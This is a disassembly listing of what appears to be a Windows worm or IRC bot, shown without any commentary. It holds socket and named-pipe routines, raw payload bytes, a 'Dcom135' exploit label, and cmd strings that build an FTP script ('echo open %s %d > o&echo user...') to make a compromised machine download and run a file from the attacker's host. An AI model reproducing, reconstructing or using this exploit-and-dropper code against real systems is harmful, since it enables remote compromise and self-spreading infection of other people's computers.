		db  6Eh	; n
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  80h	; €
		db 0E0h	; à
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26707CBh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B


loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------


loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_404AE8


loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2651922h
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26510A0h
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_436F00
		jmp	short loc_404B72
; ---------------------------------------------------------------------------


loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)


loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_436EF8
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0


loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C


loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		call	near ptr 2651922h
		nop
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B


loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax


loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2670B22h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26510A0h
		test	eax, eax
		jnz	short loc_404E03
		nop
		call	near ptr 2670ADCh
		cmp	eax, 3E5h
		jnz	loc_404A04


loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 2670A57h
		nop
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1


loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------


loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]


loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi


loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0C2h	; Â
		db  24h	; $
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  77h	; w
		db 0C4h	; Ä
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db 0B6h	; ¶
		db 0C8h	; È
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db 0E8h	; è
		db  84h	; „
		db 0EDh	; í
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0AAh	; ª
		db 0EFh	; ï
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  78h	; x
		db 0F6h	; ö
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  0Ch
		db  6Fh	; o
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0FCh	; ü
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; Ü
		db  89h	; ‰
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db 0A3h	; £
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db 0D8h	; Ø
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  33h	; 3
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 22C007E8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C


loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------


loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE


loc_4050F4:				; CODE XREF: ___:004050D9j
		call	near ptr 71AB1A6Dh
		nop


loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax


loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43AD98
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 2630F90h
		push	offset byte_42F678
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F


loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------


loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		mov	al, 1


loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		nop
		call	near ptr 71AB2BBFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		call	near ptr 71AB12F8h
		nop
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------


loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]


loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx


loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2


loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	near ptr 71AB3E5Dh
		nop
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		call	near ptr 71AB1AF4h
		nop
		push	3E8h
		nop
		call	near ptr 2630F90h
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------


loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------


loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		nop
		call	near ptr 71AB8629h
		push	edi
		call	near ptr 71AB1A6Dh
		nop


loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax


loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB41DAh
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_436F0C, eax
		push	edi
		push	ebx
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_436F0C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3ECEh
		nop
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	near ptr 71AB5DE2h
		nop
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	near ptr 71AB1890h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8


loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h,	83716B31h
